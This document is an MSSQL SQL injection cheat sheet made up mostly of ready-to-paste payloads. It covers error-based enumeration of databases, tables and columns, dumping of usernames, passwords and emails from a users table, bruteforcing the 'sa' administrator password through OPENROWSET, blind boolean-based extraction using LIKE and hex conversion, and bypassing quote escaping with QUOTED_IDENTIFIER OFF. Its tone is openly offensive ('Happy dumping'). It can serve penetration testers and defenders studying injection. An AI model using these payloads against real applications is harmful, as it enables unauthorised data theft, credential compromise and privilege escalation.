1 - Standard SQL injection (not blind)

1.1 - Information gathering

Get server version:

' OR 1 in (select @@version) --

Get server name:

' OR 1 in (select @@servername) --

Get current username:

' OR 1 in (select USER_NAME()) --

Get current database name:

' OR 1 in (select DB_NAME()) --

1.2 - Database structure

MSSQL is a very friendly database... you can get all db structures via normal select. Fist of all you can take the list of databases on the server.

select * from master..sysdatabases

Using an sql injection like:

' or 1 in (select name from master..sysdatabases) --

will show you only the first result. To get all records we need to implement something in sql like the limit keyword on mysql ($XX$ is the row number):

SELECT name FROM master..sysdatabases T1 WHERE ((SELECT COUNT(*) FROM master..sysdatabases T2 WHERE T2.name <= T1.name) = $XX$)

or you can use this way (I know, someone will think 2 top should be enough, but sometimes it gives trouble, with 3 top no... don't ask me why... hey Lame! it's your query!):

SELECT TOP 1 name FROM (SELECT TOP 1 name FROM (SELECT TOP $XX$ name FROM master..sysdatabases ORDER BY name ASC) as foo ORDER by name DESC) as foo ORDER by name DESC

You can test this syntax with ("or 1 in" on the first query will return always the same result, so we will use "or 1 ="):

' or 1 = (SELECT name FROM master..sysdatabases T1 WHERE ((SELECT COUNT(*) FROM master..sysdatabases T2 WHERE T2.name <= T1.name) = $XX$)) --

' or 1 in (SELECT TOP 1 name FROM (SELECT TOP 1 name FROM (SELECT TOP $XX$ name FROM master..sysdatabases ORDER BY name ASC) as foo ORDER by name DESC) as foo ORDER by name DESC)--

To get numeric data we need to convert them to strings and append a non numeric char, otherwise the sql server will do an automatic cast.

' or 1 in (select CONVERT(varchar(255),dbid)+'$' from master..sysdatabases) --

and we can append data to get results faster

' or 1 = (SELECT CONVERT(varchar(255),dbid)+'$'+name FROM master..sysdatabases T1 WHERE ((SELECT COUNT(*) FROM master..sysdatabases T2 WHERE T2.name <= T1.name) = $XX$)) --

Ok, now we have to get the tables name, columns etc. We will work on the current database, but you can access to the others with a double dot syntax, like "master..sysdatabases".
This query will return you all the primary keys of all tables names, column names and column type (string, boolean, int).

SELECT T1.name AS Tablename, T2.name AS Columnname, T2.xtype AS Columntype

FROM sysobjects T1, syscolumns T2 

WHERE (T1.id = T2.id) AND (T1.xtype = 'U' OR T1.xtype = 'V') AND (T2.colid  IN (SELECT keyno FROM sysindexkeys WHERE T1.id = id AND T2.colid = keyno))

and this one will return all non primary keys.

SELECT T1.name AS Tablename, T2.name AS Columnname, T2.xtype AS Columntype

FROM sysobjects T1, syscolumns T2 

WHERE (T1.id = T2.id) AND (T1.xtype = 'U' OR T1.xtype = 'V') AND (T2.colid  NOT IN (SELECT keyno FROM sysindexkeys WHERE T1.id = id AND T2.colid = keyno))

So you can build the database structures using this query:

SELECT  Tablename+'$'+Columnname+'$'+CONVERT(varchar(255),Columntype)

FROM (

SELECT T1.name AS Tablename, T2.name AS Columnname, T2.xtype AS Columntype, T2.id AS id

FROM sysobjects T1 INNER JOIN syscolumns T2 ON T1.id = T2.id

WHERE (

(T1.xtype = 'U' OR T1.xtype = 'V') AND 

(T2.colid IN (

SELECT keyno 

FROM sysindexkeys 

WHERE T1.id = id AND T2.colid = keyno

))

)

) T4

WHERE ((

SELECT COUNT(*)

FROM (

SELECT T7.name AS Tablename, T8.name AS Columnname, T8.xtype AS Columntype, T8.id AS id

FROM sysobjects T7 INNER JOIN syscolumns T8 ON T7.id = T8.id

WHERE (     

(T7.xtype = 'U' OR T7.xtype = 'V') AND 

(T8.colid IN (

SELECT keyno

FROM sysindexkeys

WHERE T7.id = id AND T8.colid = keyno

))

)

) T5

WHERE (CONVERT(varchar(255), T5.id) + T5.columnname <= CONVERT(varchar(255), T4.id) + T4.columnname) 

) = 3

)

or using this (simple) one:

SELECT     CONVERT(varchar(255), T1.name) + '$' + CONVERT(varchar(255), T2.name) + '$' + CONVERT(varchar(255), T2.xtype) AS Expr1

FROM         sysobjects T1 INNER JOIN

syscolumns T2 ON T1.id = T2.id

WHERE     (T1.xtype = 'U' OR

T1.xtype = 'V') AND (T2.colid IN

(SELECT     keyno

FROM          sysindexkeys

WHERE      T1.id = id AND T2.colid = keyno))

Now we can download the primary keys columns ($XX$ is the number of the row) the $ will be the deliminator

' or 1 in ( SELECT TOP 1 pippo FROM(SELECT TOP 1 pippo FROM ( SELECT TOP $XX$ convert(varchar(255),T1.name)+'$'+convert(varchar(255),T2.name)+'$'+convert(varchar(255),T2.xtype) as pippo FROM sysobjects T1 INNER JOIN syscolumns T2 ON T1.id = T2.id WHERE (T1.xtype = 'U' OR T1.xtype = 'V') AND (T2.colid IN (SELECT keyno FROM sysindexkeys WHERE T1.id = id AND T2.colid = keyno)) ORDER BY pippo ASC) as pippo ORDER by pippo DESC) as pippo ORDER by pippo DESC ) --

and the other columns

' or 1 in ( SELECT TOP 1 pippo FROM(SELECT TOP 1 pippo FROM ( SELECT TOP $XX$ convert(varchar(255),T1.name)+'$'+convert(varchar(255),T2.name)+'$'+convert(varchar(255),T2.xtype) as pippo FROM sysobjects T1 INNER JOIN syscolumns T2 ON T1.id = T2.id WHERE (T1.xtype = 'U' OR T1.xtype = 'V') AND (T2.colid NOT IN (SELECT keyno FROM sysindexkeys WHERE T1.id = id AND T2.colid = keyno)) ORDER BY pippo ASC) as pippo ORDER by pippo DESC) as pippo ORDER by pippo DESC ) --

Ok... now you have all the database structure of the current database.

1.3 - Dumping the data

If you have the database structure, it is simple to get the data. For example if we have a table named "users" with primary key "userid" (numeric) and with columns username,userpass,usermail you can get single data with:

' or 1 in (select '$'+convert(varchar(255),username) from users where userid = $XX$) --

' or 1 in (select '$'+convert(varchar(255),userpass) from users where userid = $XX$) --

' or 1 in (select '$'+convert(varchar(255),usermail) from users where userid = $XX$) --

or you can get it on a single query with:

' or 1 in (select '$'+convert(varchar(255),username)+'$'+convert(varchar(255),userpass)+'$'+convert(varchar(255),usermail)from users where userid = $XX$) --

If you wouldn't use a where condition (if you don't know how many record there will be, or if you don't know the primary keys) you can always use the top method as:

' or 1 in ( SELECT TOP 1 pippo FROM(SELECT TOP 1 pippo FROM ( SELECT TOP $XX$ '$'+convert(varchar(255),username)+'$'+convert(varchar(255),userpass)+'$'+convert(varchar(255),usermail) as pippo from users ORDER BY pippo ASC) as pippo ORDER by pippo DESC) as pippo ORDER by pippo DESC ) --

Happy dumping ;)

1.4 - Privilege escalation with OPENROWSET

A query can be done with normal users privileges, but sometimes you need administrator privileges (for example to use xp_cmdshell) or get access to others databases. On SQL SERVER 2000 you can use the OPENROWSET to bruteforce the admin password (on SQL SERVER 2005 it has been disabled by default) with a query like thisone

' or 1 in (select * from OPENROWSET('SQLOLEDB', ''; 'sa'; 'password', 'select 1')) --

If "Login failed for user 'sa'" appears the login is incorrect, otherwise you found the password. With a query like thisone you can get data of other databases:

' or 1 in (select name from OPENROWSET('SQLOLEDB', ''; 'sa'; 'password', 'select name from master..sysusers where uid =0')) --

Remember the escape character in MSSQL is '' so, if you need some ' on the query in the openrowset you need to use them double like:

' or 1 in (select name from OPENROWSET('SQLOLEDB', ''; 'sa'; 'password', 'select name from master..sysusers where uid =''0''')) --

2 - Blind sql injection

Ok, we have seen how simple is to get data on standard sql injection with display error on, now we will try to work on blind sql injection. The sample code of a simple application can be found here. The example does a simple query on the master database table and shows the results. In this application as you can see there is a error catching, so you will never see an error.



First of all you have to identify a way to get different results with injecting your data, for example:

1 and 1=1 --
1 and 1=2 --

Another interesing way can be use sql optimizations to get an error if the last part of the query is correct.

1 and 1 in (select @@version) and 1=1 --
1 and 1 in (select @@version) and 1=2 --

Having this kind of difference between the results gives you a way to work with a blind sql injection. Another way can be using WAIT and similar instructions of the db, but to get the results you will spend a lot of time.

To get the data using this response differences we can use the keyword like:

1 and (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master..sysdatabases.name LIKE 'm%')) --

If the page will return a non blank result the table sysdatabases columns names contains a record that starts with the letter M. Now you can implement a little brute force tool to get all the names.

1 and (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master..sysdatabases.name LIKE 'm%')) --

1 and (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master..sysdatabases.name LIKE 'ma%')) --

1 and (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master..sysdatabases.name LIKE 'mas%')) --

1 and (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master..sysdatabases.name LIKE 'mast%')) --

1 and (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master..sysdatabases.name LIKE 'maste%')) --

1 and (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master..sysdatabases.name LIKE 'master%')) --

The choice of the charset for the bruteforce attack can cause a lot of problems. You will not be sure to get all the data because you don't know what type the data is. By using the stored procedure fn_varbintohexstryou can convert the data in a hex value, so you will know the charset is "abcdef01234567890".

1 AND (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master.dbo.fn_varbintohexstr(CONVERT(varbinary,master..sysdatabases.name)) LIKE '0x6%')) --
1 AND (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master.dbo.fn_varbintohexstr(CONVERT(varbinary,master..sysdatabases.name)) LIKE '0x6d%')) --
1 AND (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master.dbo.fn_varbintohexstr(CONVERT(varbinary,master..sysdatabases.name)) LIKE '0x6d006%')) --
1 AND (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master.dbo.fn_varbintohexstr(CONVERT(varbinary,master..sysdatabases.name)) LIKE '0x6d0061%')) --

As described with the standard sql injection you can get table structures and data. So build your own sql blind bruteforce script.

3 - Compatibility issues

During some pentest I got some strange error on the syntax of the injections, I discovered that there was some compatibilty issues on the software set with sp_dbcmptlevel. To avoid these limits you just need to change the database and work as with blind sql injections.

1' ; use master; select * from OPENROWSET('SQLOLEDB', ''; 'sa'; 'password', 'select 1') --

4 - Escape errors

Some very skilled programmers use some routines to escape the user input to avoid sql injection problems. Some of them escape the ' char with a \ (for example who uses php with a sql server db). He does not know that on mssql the escape is not \ but ''. So you can inject as normal, but you can not use the ' on the query. This can sometimes be a problem. To bypass this limitation you can use SETQUOTED_IDENTIFIER OFF and use " instead of '. Here is an example:

a';SET QUOTED_IDENTIFIER OFF;select * FROM OPENROWSET("SQLOLEDB","";"sa";"password","SELECT 1");--